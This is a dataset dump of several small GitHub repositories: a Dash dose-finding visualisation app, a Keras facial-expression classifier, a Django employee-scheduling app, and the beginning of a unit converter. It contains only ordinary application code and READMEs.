dependencies.State('input-dlt-container', 'children'))\ndef display_input(n_clicks, children_dose,children_patients,children_dlt):\n new_input_dose = dcc.Input(\n id={\n 'type': 'cohort_dose',\n 'index': n_clicks\n }, value=1, type='number',min=1\n # options=[{'label': i, 'value': i} for i in ['NYC', 'MTL', 'LA', 'TOKYO']]\n )\n children_dose.append(new_input_dose)\n new_input_patients = dcc.Input(\n id={\n 'type': 'cohort_patient',\n 'index': n_clicks\n },value=1,type='number'\n # options=[{'label': i, 'value': i} for i in ['NYC', 'MTL', 'LA', 'TOKYO']]\n )\n children_patients.append(new_input_patients)\n new_input_dlt = dcc.Input(\n id={\n 'type': 'cohort_dlt',\n 'index': n_clicks\n },value=0,type='number'\n # options=[{'label': i, 'value': i} for i in ['NYC', 'MTL', 'LA', 'TOKYO']]\n )\n children_dlt.append(new_input_dlt)\n return children_dose,children_patients,children_dlt\n\n\[email protected](\n # dependencies.Output('show_info', 'children'),\n dependencies.Output('show_fig', 'figure'),\n dependencies.Input({'type': 'cohort_dose', 'index': dependencies.ALL}, 'value'),\n dependencies.Input({'type': 'cohort_patient', 'index': dependencies.ALL}, 'value'),\n dependencies.Input({'type': 'cohort_dlt', 'index': dependencies.ALL}, 'value'),\n dependencies.Input(component_id='n_doses', component_property='value'),\n # dependencies.Input('show', 'n_clicks'),\n)\ndef display_output(values_dose,values_p,values_d,n_dose):\n # for i in\n dose = [value for (i,value) in enumerate(values_dose)]\n pat = [value for (i,value) in enumerate(values_p)]\n dlt= [value for (i,value) in enumerate(values_d)]\n n_cohort=len(pat)\n # print(pat)\n # print(dlt)\n # fig = go.Figure()\n fig = make_subplots(specs=[[{\"secondary_y\": True}]])\n # n_dose = 5\n if len(pat)==0:\n cohort_max=1\n else:\n cohort_max= np.array(pat).max()\n # base_i =i*batch\n # base_i = [np.random.choice([i * 3 for i in range(n_dose)]) for i in range(n_cohort)]\n\n for i_dose in range(n_dose):\n fig.add_trace(go.Scatter(x=[0,n_cohort+3], y=[i_dose+1,i_dose+1],mode='lines',opacity=0,\n name='',),\n # name='Dose Level '+str(i_dose+1),),\n # base=dose,\n # marker_color='blue',\n secondary_y=False,\n )\n # fig.update_layout(showlegend=False,)\n # showlegend = False,\n fig.add_trace(go.Bar(x=[i+1 for i in range(n_cohort)], y=pat,\n base=[i*cohort_max for i in dose],\n marker_color='blue',\n name='Positive response'),secondary_y=True,\n )\n fig.add_trace(go.Bar(x=[i+1 for i in range(n_cohort)], y=dlt,\n base=[i*cohort_max for i in dose],\n marker_color='crimson',\n name='Negative response'),secondary_y=True,\n )\n fig.update_yaxes(range=[0, n_dose+1],secondary_y=False, title_text = \"Dose Levels\")\n # if len(pat)!=0:\n fig.update_yaxes(range=[0, (n_dose+1)*cohort_max],secondary_y=True,title_text = \"Patients Number\")\n fig.update_xaxes(tickvals=[i + 1 for i in range(len(pat))],range=[0,len(pat)+1],\n title_text = \"Cohort Number\")\n\n fig.update_layout(barmode='stack', title_text='Dose-finding Observation',legend={'traceorder':'normal'})\n # text='test'+str(n_clicks)\n return fig\n\[email protected](\n # dependencies.Output(component_id='output',component_property='children'),\n dependencies.Output(component_id='fig-bar',component_property='figure'),\n dependencies.Output(component_id='fig-selected',component_property='figure'),\n dependencies.Input(component_id='mc', component_property='n_clicks'),\n dependencies.State({'type': 'cohort_dose', 'index': dependencies.ALL}, 'value'),\n dependencies.State({'type': 'cohort_patient', 'index': dependencies.ALL}, 'value'),\n dependencies.State({'type': 'cohort_dlt', 'index': dependencies.ALL}, 'value'),\n dependencies.State(component_id='n_doses', component_property='value'),\n dependencies.State(component_id='target', component_property='value')\n)\ndef update_fig(n_click,values_dose, values_p, values_d,num_doses,target):\n # dff = df[df.year==year]\n # fig_geo = gen_fig(dff, data, column)\n target_float = float(target)\n env_ = gen_env(num_doses, target_float, env_num=500)\n # fig_ = gen_env_fig(num_doses, env_)\n dose = [value for (i, value) in enumerate(values_dose)]\n pat = [value for (i, value) in enumerate(values_p)]\n dlt = [value for (i, value) in enumerate(values_d)]\n\n assign_info=np.zeros([num_doses])\n dlt_info=np.zeros([num_doses])\n for i in range(len(pat)):\n loc=dose[i]\n assign_info[loc]+=pat[i]\n dlt_info[loc]+=dlt[i]\n # assign_info=get_obs_info(assign)\n # dlt_info=get_obs_info(dlt)\n # print(assign_info)\n # print(dlt_info)\n samples = get_simulation_samples(num_doses, assign_info, env_)\n counts, indices = counts_(num_doses, samples, dlt_info)\n if assign_info.sum()==0:\n fig_selected = gen_env_fig(num_doses, env_, flag=False)\n else:\n fig_selected = gen_env_fig(num_doses, env_, indices=indices)\n # print(counts)\n # print(indices[:10])\n # actual_trial_num = assign\n # output='test'#+assign_info[0]\n fig_bar=px.bar(x=np.arange(1,num_doses+1),y=counts,labels={'x':'Event Type','y':'Number of Occurrences'})\n fig_bar.update_xaxes(tickvals=[i + 1 for i in range(num_doses)],)\n\n return fig_bar,fig_selected\n\n\ndef get_obs_info(text):\n assign_info = text.split(',')\n ret = np.zeros([len(assign_info)])\n for i in range(len(assign_info)):\n item = assign_info[i].split(':')\n ret[i] = int(item[1])\n return ret\n\nif __name__ == '__main__':\n app.run_server(debug=True,port=int(os.getenv('PORT', '4544')))" }, { "alpha_fraction": 0.6618497371673584, "alphanum_fraction": 0.7196531891822815, "avg_line_length": 23.64285659790039, "blob_id": "73e8c6e8cc6ef1c29a282719346854da08487078", "content_id": "f65852eb063766f9e9890aad20e7c09a7b483400", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 346, "license_type": "no_license", "max_line_length": 107, "num_lines": 14, "path": "/README.md", "repo_name": "lanlianhuaer/MCA", "src_encoding": "UTF-8", "text": "# MCA\n\nThis application is created by Dash. For more information about Dash, please visit https://dash.plotly.com/\nInstall the python packages by\n\n`pip install dash plotly pandas`\n\nThen, run the app with\n\n$ python MCA_app.py\n\n...Running on `http://127.0.0.1:4544/` (Press CTRL+C to quit)\n\nand visit `http://127.0.0.1:4544/` in your web browser.\n\n" } ]
2
shelbymeng/Face-detection-and-expression-recognition-system
https://github.com/shelbymeng/Face-detection-and-expression-recognition-system
a4ab1874f60b5108d34385bf2fca84f81e53aaa4
4752564dec779a8ff0df43dd1765c8fb5d7e3aa0
7b89eae0ec736c9d880c8615dac522fa4924f874
refs/heads/master
2022-11-10T22:10:18.613383
2020-07-08T18:57:42
2020-07-08T18:57:42
278,153,204
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6499133706092834, "alphanum_fraction": 0.6863085031509399, "avg_line_length": 26.4761905670166, "blob_id": "4cd4bf5e061d95a201fd552d346a34937b1f54b2", "content_id": "8bd8a775936f4c19b2997a97b28fcf580b30a3bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 577, "license_type": "no_license", "max_line_length": 89, "num_lines": 21, "path": "/predict.py", "repo_name": "shelbymeng/Face-detection-and-expression-recognition-system", "src_encoding": "UTF-8", "text": "from keras.preprocessing import image\nfrom keras.models import load_model\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# test_dir = r'.\\newDataSet\\test\\0\\00000.jpg'\ntest_dir = r'.\\pic\\10.jpg'\nmodel = load_model('newModel.h5')\nimg = image.load_img(test_dir, target_size=(48, 48))\nx = np.expand_dims(img, axis=0)\ny = model.predict(x)\n\nplt.figure()\nx_axis = ['0 anger', '1 disgust', '2 fear', '3 happy', '4 sad', '5 surprise', '6 normal']\ny_axis = np.array(y).flatten()\nplt.bar(x_axis, y_axis)\nplt.show()\nprint(np.array(y).flatten())\n\ny = model.predict_classes(x)\nprint(y)\n" }, { "alpha_fraction": 0.7258771657943726, "alphanum_fraction": 0.8092105388641357, "avg_line_length": 9.857142448425293, "blob_id": "895357ce96d3396e95adc1dee21f5637ce542a90", "content_id": "bfa852add189b629d572032a6d4f0204d449ec4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 804, "license_type": "no_license", "max_line_length": 42, "num_lines": 42, "path": "/readme.md", "repo_name": "shelbymeng/Face-detection-and-expression-recognition-system", "src_encoding": "UTF-8", "text": "1.配置\n\npython 3.6.10\n\npip 10.0.1\n\nsetuptools 39.1.0\n\nkeras 2.2.0\n\ntensorflow-gpu 1.10.0\n\nopencv-python 3.3.0.10\n\nCuda 9.0\n\nCudnn 7.0.5\n\n数据集 fer2013,使用时应先将原数据分类\n\n2.运行\n\n安装依赖库后,运行get_pic.py文件会调取笔记本摄像头获取人脸图片,\n然后运行predict.py文件会进行识别,最终输出各个表情概率\n\n3.建议\n\n推荐使用anaconda创建一个gpu环境,将依赖库安装到gpu环境中\n\n4.文件信息\n\ncnnModel.png是我将数据集经过CNN运行后生成的网络层次图以及一些层的信息\n\nxml文件是opencv所依赖的人脸分类器\n\ntrainLayer.py是构建CNN的文件\n\nget_pic.py是opencv调用摄像头获取图片的文件\n\npredict.py是调用模型进行表情分类的文件\n\nnewModel.h5是训练后的模型\n" }, { "alpha_fraction": 0.6429670453071594, "alphanum_fraction": 0.678670346736908, "avg_line_length": 31.168315887451172, "blob_id": "dfe76c5491c5cdba32435345374bd824ddee1e49", "content_id": "f66167050556a3290fdc50c097cf42a63a6c0652", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3285, "license_type": "no_license", "max_line_length": 97, "num_lines": 101, "path": "/trainLayer.py", "repo_name": "shelbymeng/Face-detection-and-expression-recognition-system", "src_encoding": "UTF-8", "text": "import keras\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential\nfrom keras.layers import BatchNormalization\nfrom keras.layers import Dense, Dropout, Flatten\nfrom keras.layers import Conv2D, MaxPooling2D\nimport os\nfrom keras.models import load_model\nimport numpy as np\nfrom keras.utils import plot_model\nimport matplotlib.pyplot as plt\nos.environ[\"PATH\"] += os.pathsep +'C:\\Program Files (x86)\\Graphviz2.38\\bin'\n\ntrain_dir = r'.\\newDataSet\\train'\nval_dir = r'.\\newDataSet\\val'\ntest_dir = r'.\\newDataSet\\test'\n\ntrain_datagen = ImageDataGenerator()\nval_datagen = ImageDataGenerator()\ntest_datagen = ImageDataGenerator()\n\ntrain_generator = train_datagen.flow_from_directory(\n train_dir,\n target_size=(48, 48),\n batch_size=128,\n class_mode='categorical'\n)\nvalidation_generator = test_datagen.flow_from_directory(\n val_dir,\n target_size=(48, 48),\n batch_size=128,\n class_mode='categorical'\n)\n\ntest_generator = test_datagen.flow_from_directory(\n test_dir,\n target_size=(48, 48),\n batch_size=128,\n class_mode='categorical'\n)\n\nmodel = Sequential()\nmodel.add(Conv2D(64, kernel_size=(5, 5), strides=(1, 1),\n activation='relu',\n padding='same', input_shape=(48, 48, 3))) #输入3通道48*48的像素图像,卷积核为5*5\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\nmodel.add(BatchNormalization())\nmodel.add(Dropout(0.4))\nmodel.add(Conv2D(128, kernel_size=(5, 5), strides=(1, 1),\n activation='relu',\n padding='same'))\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\nmodel.add(BatchNormalization())\nmodel.add(Dropout(0.4))\nmodel.add(Conv2D(256, kernel_size=(5, 5), strides=(1, 1),\n padding='same',\n activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2), strides=(2, 2)))\nmodel.add(Flatten())\nmodel.add(Dropout(0.3))\nmodel.add(Dense(2048, activation='relu'))\nmodel.add(Dropout(0.4))\nmodel.add(Dense(1024, activation='relu'))\nmodel.add(Dropout(0.4))\nmodel.add(Dense(512, activation='relu'))\nmodel.add(Dense(7, activation='softmax'))\nmodel.compile(loss=keras.losses.categorical_crossentropy, #多分类问题\n optimizer=keras.optimizers.rmsprop(lr=0.0001), # need to train a lot of epochs\n metrics=['accuracy'])\n\nhistory = model.fit_generator(\n train_generator,\n steps_per_epoch=650,\n epochs=40,\n validation_data=validation_generator,\n validation_steps=32\n )\n# model.save_weights('CNN_Model_weights.h5')\nmodel.save('new_model.h5')\n\nacc = history.history['acc']\nval_acc = history.history['val_acc']\nloss = history.history['loss']\nval_loss = history.history['val_loss']\n\nepochs = range(1, len(acc) + 1)\nplt.figure(\"acc\")\nplt.plot(epochs, acc, 'r-', label='Training acc')\nplt.plot(epochs, val_acc, 'b', label='validation acc')\nplt.title('The comparision of train_acc and val_acc')\nplt.legend()\nplt.show()\n\nplt.figure(\"loss\")\nplt.plot(epochs, loss, 'r-', label='Training loss')\nplt.plot(epochs, val_loss, 'b', label='validation loss')\nplt.title('The comparision of train_loss and val_loss')\nplt.legend()\nplt.show()\n\nplot_model(model, to_file=\"cnn_model.png\", show_shapes=True, show_layer_names=\"True\")\n" } ]
3
sulamanijaz/employee_management
https://github.com/sulamanijaz/employee_management
ab32a96c16f725c7f81e95e5ab4f4dcd042e0395
9b7adefd26b5cade141e0379c33325ccb1eac35b
921956e38a48ac659644659c6e53e36c407563d8
refs/heads/master
2021-01-20T07:46:13.550507
2017-05-15T07:59:57
2017-05-15T07:59:57
90,040,268
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6079891920089722, "alphanum_fraction": 0.6092078685760498, "avg_line_length": 38.4973258972168, "blob_id": "948b35fe92448584297b39e000c1ccec57e2bf03", "content_id": "6c4bd59a93246f1eb413b8f4b8e19742238294ff", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7385, "license_type": "no_license", "max_line_length": 133, "num_lines": 187, "path": "/employee_management/emp_manage_app/views.py", "repo_name": "sulamanijaz/employee_management", "src_encoding": "UTF-8", "text": "from django.contrib.auth import authenticate, login\nfrom django.shortcuts import render\nfrom django.shortcuts import render_to_response\nfrom django.template.context import RequestContext\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom datetime import datetime\nfrom django.db.models import Q\nfrom forms import userform, addsubuser, addschedule\nfrom django.contrib.auth.decorators import login_required\nfrom django.shortcuts import render_to_response\nfrom formtools.wizard.views import WizardView, SessionWizardView\nfrom employee_management.emp_manage_app.models import User, EmployeeSchedule\nfrom django.shortcuts import redirect\n\n\ndef index_home(request):\n\n return render_to_response('employee/index.html', {\n 'request': request,\n }, RequestContext(request, {}))\n\n\ndef login_user(request):\n if request.method == 'POST':\n\n username = request.POST['email']\n password = request.POST['password']\n\n # Use Django's machinery to attempt to see if the username/password\n # combination is valid - a User object is returned if it is.\n user = authenticate(username=username, password=password)\n\n if user:\n # Is the account active? It could have been disabled.\n if user.is_active:\n login(request, user)\n return HttpResponseRedirect('/home/')\n else:\n variables = {\n 'form': userform\n }\n return render(request, 'employee/login.html', variables)\n else:\n # Bad login details were provided. So we can't log the user in.\n variables = {\n 'form': userform,\n 'message':\"Email or password incorrect\",\n 'email':username\n }\n return render(request, 'employee/login.html', variables)\n\n # The request is not a HTTP POST, so display the login form.\n # This scenario would most likely be a HTTP GET.\n else:\n # No context variables to pass to the template system, hence the\n # blank dictionary object...\n return render_to_response('employee/login.html', {\n 'request': request, 'form': userform,\n }, RequestContext(request, {}))\n\n@login_required\ndef user_home(request):\n\n user_object=User.objects.filter(parent_user=request.user.id)\n user_count = user_object.count()\n count = user_count + 1\n total_emp_to_add = int(request.user.no_of_employees)-int(user_count)\n\n return render_to_response('employee/home.html', {\n 'request': request,'emp_to_add':total_emp_to_add ,\n 'count':count ,'form': userform,\n 'user_obj':user_object\n }, RequestContext(request, {}))\n\n\nfrom django.contrib.auth import logout\n\n# Use the login_required() decorator to ensure only those logged in can access the view.\n@login_required\ndef user_logout(request):\n # Since we know the user is logged in, we can now just log them out.\n logout(request)\n\n # Take the user back to the homepage.\n return HttpResponseRedirect('/home/')\n\n\nclass ContactWizard(SessionWizardView):\n template_name = 'employee/signup.html'\n\n def done(self, form_list, form_dict ,**kwargs):\n user_dict = []\n for form in form_list:\n user_dict.append(form.cleaned_data)\n user_object=User.objects.create_superuser(user_dict[0]['email'], user_dict[1]['password'], fullname=user_dict[0]['fullname'],\n no_of_employees=user_dict[1]['no_of_employees'], is_staff=False,\n time_zone='india', parent_user = 0)\n\n user = authenticate(username=user_object.email, password=user_dict[1]['password'])\n\n login(self.request, user)\n\n return redirect('/home/')\n\n@login_required\ndef add_sub_user(request, msg=None):\n\n user_object = User.objects.filter(parent_user=request.user.id)\n user_count = user_object.count()\n count = user_count + 1\n total_emp_to_add = int(request.user.no_of_employees) - int(user_count)\n t_emp = int(request.user.no_of_employees)\n msgs=''\n if msg:\n msgs = msg\n if request.method == 'GET':\n return render_to_response('employee/addsubuser.html', {\n 'request': request, 'form': addsubuser,'count':count,\n 't_emp':t_emp,'msg':msgs\n }, RequestContext(request, {}))\n\n elif request.method == 'POST':\n fullname = request.POST.get('fullname')\n email = request.POST.get('email')\n password = request.POST.get('password')\n image = request.FILES['user_avatar']\n\n\n if not addsubuser(request.POST).is_valid():\n return render_to_response('employee/addsubuser.html', {\n 'request': request, 'form': addsubuser(request.POST),'count':count,\n 't_emp':t_emp\n\n }, RequestContext(request, {}))\n else:\n User.objects.create_user(email, password, fullname=fullname,\n no_of_employees=0, is_staff=True,\n time_zone='india', parent_user = request.user.id,\n user_avatar=image\n )\n return redirect('/add_user/')\n\n\n@login_required\ndef emp_schedule(request):\n msg = ''\n user_object=User.objects.filter(parent_user=request.user.id)\n if request.method == 'POST':\n shift_starts=request.POST.get('shift_starts', None)\n shift_ends = request.POST.get('shift_ends', None)\n toBox_cats = request.POST.getlist('toBox_cats[]', None)\n availability = request.POST.get('availability', None)\n recurrance = request.POST.get('recurrance', None)\n shift_starts = datetime.strptime(shift_starts, \"%Y-%m-%d %H:%M\")\n shift_ends = datetime.strptime(shift_ends, \"%Y-%m-%d %H:%M\")\n\n if toBox_cats:\n emp_schedule_list = []\n for user in toBox_cats:\n emp_schedule_list.append(EmployeeSchedule(parent_user=User.objects.get(pk=request.user.id), shift_start=shift_starts,\n shift_ends=shift_ends, employee_id=User.objects.get(pk=user),\n availability=availability, recurring=recurrance)\n )\n EmployeeSchedule.objects.bulk_create([emp_sch_obj for emp_sch_obj in emp_schedule_list])\n\n msg = \"Schedule For selected users has been created successfully.\"\n\n return render_to_response('employee/emp_schedule.html', {\n 'request': request,'user_object':user_object ,'msg':msg,'form': addschedule(),\n\n\n }, RequestContext(request, {}))\n\n@login_required\ndef emp_detail_shift(request, id):\n emp_obj = EmployeeSchedule.objects.filter(employee_id=id).order_by('-shift_start')\n print emp_obj.count(),'count'\n return render_to_response('employee/detail_schedule_emp.html', {\n 'request': request, 'emp_obj': emp_obj\n\n }, RequestContext(request, {}))\n@login_required\ndef upload_image(request):\n if request.method == 'POST' and request.FILES['my_file']:\n myfile = request.FILES['my_file']\n User.objects.filter(pk=request.user.id).update(user_avatar=myfile)\n return redirect('/home/')" }, { "alpha_fraction": 0.8044280409812927, "alphanum_fraction": 0.8044280409812927, "avg_line_length": 37.71428680419922, "blob_id": "419beb0f573fd3e5dad5cf4fc2bc8c2880976d07", "content_id": "b6fdbaba2ae8586a8ca089048923177fae7a1cc1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 271, "license_type": "no_license", "max_line_length": 129, "num_lines": 7, "path": "/employee_management/emp_manage_app/admin.py", "repo_name": "sulamanijaz/employee_management", "src_encoding": "UTF-8", "text": "from django.contrib import admin\nfrom employee_management import emp_manage_app\nmyModels = [emp_manage_app.models.User, emp_manage_app.models.Employees, emp_manage_app.models.EmployeeSchedule] # iterable list\n\nadmin.site.register(myModels)\n\n# Register your models here.\n" }, { "alpha_fraction": 0.6732273101806641, "alphanum_fraction": 0.6810461282730103, "avg_line_length": 38.04210662841797, "blob_id": "214bb6e14eaf80b6e4cbb429e4b67e5bcbf68d49", "content_id": "170cd2a6a9499ff025fc94d9ea688f7e1c2480d0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3709, "license_type": "no_license", "max_line_length": 126, "num_lines": 95, "path": "/employee_management/emp_manage_app/models.py", "repo_name": "sulamanijaz/employee_management", "src_encoding": "UTF-8", "text": "from django.db import models\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.auth.models import PermissionsMixin\nfrom django.contrib.auth.models import UserManager\nfrom django.contrib.auth.models import BaseUserManager, AbstractBaseUser\nfrom django.conf import settings\nfrom django.core.mail import send_mail\nfrom django.core.validators import RegexValidator\n# Create your models here.\n\n\nclass UserManager(BaseUserManager):\n def _create_user(self, email, password, **extra_fields):\n \"\"\"\n Creates and saves a User with the given email and password.\n \"\"\"\n if not email:\n raise ValueError('The given email must be set')\n email = self.normalize_email(email)\n user = self.model(email=email, **extra_fields)\n user.set_password(password)\n user.save(using=self._db)\n return user\n\n def create_user(self, email, password=None, **extra_fields):\n extra_fields.setdefault('is_superuser', False)\n return self._create_user(email, password, **extra_fields)\n\n def create_superuser(self, email, password, **extra_fields):\n extra_fields.setdefault('is_superuser', True)\n extra_fields.setdefault('is_staff', False)\n\n if extra_fields.get('is_superuser') is not True:\n raise ValueError('Superuser must have is_superuser=True.')\n\n return self._create_user(email, password, **extra_fields)\n\n\nclass User(AbstractBaseUser, PermissionsMixin):\n fullname = models.CharField(max_length=400)\n phone_regex = RegexValidator(regex=r'^\\+?1?\\d{9,15}$',\n message=\"Phone number must be entered in the format: '+999999999'. Up to 15 digits allowed.\")\n phone_number = models.CharField(validators=[phone_regex], blank=True, max_length=20)\n email = models.EmailField(max_length=140, unique=True)\n no_of_employees = models.IntegerField()\n time_zone = models.CharField(max_length=400)\n parent_user = models.IntegerField(blank=True)\n is_staff = models.BooleanField(default=True)\n user_avatar = models.ImageField(blank=True, upload_to='avatar/')\n\n objects = UserManager()\n\n USERNAME_FIELD = 'email'\n REQUIRED_FIELDS = []\n\n class Meta:\n verbose_name = _('user')\n verbose_name_plural = _('users')\n\n def get_full_name(self):\n '''\n Returns the first_name plus the last_name, with a space in between.\n '''\n full_name = self.fullname\n return full_name.strip()\n\n def get_short_name(self):\n '''\n Returns the short name for the user.\n '''\n return self.fullname\n\n def email_user(self, subject, message, from_email=None, **kwargs):\n '''\n Sends an email to this User.\n '''\n send_mail(subject, message, from_email, [self.email], **kwargs)\n\n\nclass Employees(models.Model):\n parent_user = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='emp_parent', on_delete=models.CASCADE)\n employee_id = models.ForeignKey(settings.AUTH_USER_MODEL, related_name='emp_id', on_delete=models.CASCADE)\n check_intime = models.DateTimeField()\n check_outime = models.DateTimeField()\n total_hours = models.IntegerField()\n\n\nclass EmployeeSchedule(models.Model):\n parent_user = models.ForeignKey(settings.AUTH_USER_MODEL,related_name='sch_parent', on_delete=models.CASCADE)\n employee_id = models.ForeignKey(settings.AUTH_USER_MODEL,related_name='sch_employee', on_delete=models.CASCADE)\n # Day_date = models.DateTimeField()\n shift_start = models.DateTimeField()\n shift_ends = models.DateTimeField()\n availability = models.NullBooleanField(default=True)\n recurring = models.CharField(max_length=200)\n" }, { "alpha_fraction": 0.6212624311447144, "alphanum_fraction": 0.6229236125946045, "avg_line_length": 26.976743698120117, "blob_id": "02a1f8807c056a3ee9c9b12677d111e6d169922c", "content_id": "2e4c8923be1f175c2f381f813e5ad969d26a3a42", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1204, "license_type": "no_license", "max_line_length": 80, "num_lines": 43, "path": "/employee_management/emp_manage_app/forms.py", "repo_name": "sulamanijaz/employee_management", "src_encoding": "UTF-8", "text": "from django.forms import ModelForm, TextInput\nfrom employee_management.emp_manage_app.models import User, EmployeeSchedule\nfrom django import forms\nfrom django.contrib.auth import authenticate\n\nclass userform(ModelForm):\n class Meta:\n model = User\n fields = ['email', 'password']\n widgets = {'password': forms.PasswordInput()}\n\n def __init__(self, *args, **kwargs):\n super(userform, self).__init__(*args, **kwargs)\n self.fields['email'].widget = TextInput(attrs={\n 'id': 'emailID',\n 'placeholder': 'Enter Your email',\n\n })\n\n\nclass signupform1(ModelForm):\n class Meta:\n model = User\n fields = ['fullname','email', 'phone_number']\n\n\nclass signupform2(ModelForm):\n class Meta:\n model = User\n fields = ['no_of_employees', 'password']\n widgets = {'password': forms.PasswordInput()}\n\n\nclass addsubuser(ModelForm):\n class Meta:\n model = User\n fields = ['fullname','email', 'password', 'phone_number', 'user_avatar']\n widgets = {'password': forms.PasswordInput()}\n\nclass addschedule(ModelForm):\n class Meta:\n model = EmployeeSchedule\n fields=['availability']\n\n" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6694678068161011, "avg_line_length": 36.52631759643555, "blob_id": "a08bf68c844483bb39ccd4d18aa6217ea8486774", "content_id": "505967537ce4f772f1f9ea94e753b14225bbfd14", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 714, "license_type": "no_license", "max_line_length": 101, "num_lines": 19, "path": "/employee_management/emp_manage_app/templatetags/custom_tags.py", "repo_name": "sulamanijaz/employee_management", "src_encoding": "UTF-8", "text": "from django.template import Library\nfrom employee_management.emp_manage_app.models import EmployeeSchedule\nfrom datetime import datetime\n\nregister = Library()\n\[email protected]_tag(name='get_latest_sch')\ndef get_latest_sch(user_id, shift):\n most_upcoming = EmployeeSchedule.objects.filter(employee_id=user_id).order_by('-shift_start')\n if most_upcoming:\n if shift == 'start':\n schedule_shift_start = datetime.strftime(most_upcoming[0].shift_start, '%b %d %Y %I:%M')\n return schedule_shift_start\n else:\n schedule_shift_end = datetime.strftime(most_upcoming[0].shift_ends, '%b %d %Y %I:%M')\n return schedule_shift_end\n\n else:\n return None\n\n" }, { "alpha_fraction": 0.6476190686225891, "alphanum_fraction": 0.652910053730011, "avg_line_length": 40.08695602416992, "blob_id": "d766447eb1489f35a9e3630f49889e00850316b7", "content_id": "df3ff0e6ad17488cc6a09ce5884b76de2d67e635", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 945, "license_type": "no_license", "max_line_length": 100, "num_lines": 23, "path": "/employee_management/emp_manage_app/urls.py", "repo_name": "sulamanijaz/employee_management", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\n\n\nfrom . import views\nfrom employee_management.emp_manage_app.views import ContactWizard\nfrom employee_management.emp_manage_app.forms import signupform1, signupform2\n\nurlpatterns = [\n # ex: /polls/\n url(r'^$', views.index_home, name='index'),\n url(r'^login/$', views.login_user, name='login_user'),\n url(r'^home/$', views.user_home, name='user_home'),\n url(r'^logout/$', views.user_logout, name='logout_user'),\n url(r'^add_user/$', views.add_sub_user, name='add_sub_user'),\n url(r'^upload_avatar/$', views.upload_image, name='upload_avatar'),\n url(r'^add_user/(?P<msg>[\\w\\-]+)/$', views.add_sub_user),\n url(r'^schedule/$', views.emp_schedule, name='emp_schedule'),\n url(r'^schedule_detail/(?P<id>[\\d\\-]+)/$$', views.emp_detail_shift, name='emp_schedule_detail'),\n url(r'^signup/$', ContactWizard.as_view([signupform1, signupform2]), name='signup_user'),\n\n # ex: /polls/5/\n\n]\n" } ]
6
konitaku/unit-converter
https://github.com/konitaku/unit-converter
fae94cf7cf51833faa1b2d878930aa123cec16df
b10a550b90ff592df150ab5d84e6a5328e310f7c
a4d2c2d8d324cb21a85fbb463652ba6cf70cf7f7
refs/heads/master
2023-06-18T01:04:46.514669
2021-07-15T12:10:35
2021-07-15T12:10:35
386,199,576
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.39322617650032043, "alphanum_fraction": 0.46268656849861145, "avg_line_length": 30.10714340209961, "blob_id": "e260e3bd6efe13ef4c3a35a710c911d4f77c930a", "content_id": "bc94ee0a7c5a015002b150961c4f8d1ad23652a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1742, "license_type": "no_license", "max_line_length": 95, "num_lines": 56, "path": "/converter.py", "repo_name": "konitaku/unit-converter", "src_encoding": "UTF-8", "text": "from decimal import Decimal, ROUND_HALF_UP\n\n\ndef convert(num: float, init_unit: str, change_unit: str) -> int:\n result = 0\n if init_unit == \"m\":\n cv_rate = {\n \"m\": 1,\n \"mile\": 1/1609,\n \"yard\": 1.09,\n \"feet\": 3.281,\n \"inch\": 39.370\n }\n result = num * cv_rate[change_unit]\n result = Decimal(str(result)).quantize(Decimal('0.0001'), rounding=ROUND_HALF_UP)\n if init_unit == \"mile\":\n cv_rate = {\n \"m\": 1609,\n \"mile\": 1,\n \"yard\": 1760,\n \"feet\": 5280,\n \"inch\": 63360\n }\n result = num * cv_rate[change_unit]\n result = Decimal(str(result)).quantize(Decimal('0.1'), rounding=ROUND_HALF_UP)\n if init_unit == \"yard\":\n cv_rate = {\n \"m\": 1/1.094,\n \"mile\": 1/1760,\n \"yard\": 1,\n \"feet\": 3,\n \"inch\": 36\n }\n result = num * cv_rate[change_unit]\n result = Decimal(str(result)).quantize(Decimal('0.0000001'), rounding=ROUND_HALF_UP)\n if init_unit == \"feet\":\n cv_rate = {\n \"m\": 1/3.281,\n \"mile\": 1/5280,\n \"yard\": 1/3,\n \"feet\": 1,\n \"inch\": 12\n }\n result = num * cv_rate[change_unit]\n result = Decimal(str(result)).quantize(Decimal('0.0000000001'), rounding=ROUND_HALF_UP)\n if init_unit == \"inch\":\n cv_rate = {\n \"m\": 1/39.37,\n \"mile\": 1/63360,\n \"yard\": 1/36,\n \"feet\": 1/12,\n \"inch\": 1\n }\n result = num * cv_rate[change_unit]\n result = Decimal(str(result)).quantize(Decimal('0.0000000001'), rounding=ROUND_HALF_UP)\n return result\n" }, { "alpha_fraction": 0.6186997890472412, "alphanum_fraction": 0.6252739429473877, "avg_line_length": 29.422222137451172, "blob_id": "af097ceea32163b97f210524558c412a1903c0ae", "content_id": "650670f838656144fb0e25a8cc729ee92253590d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1447, 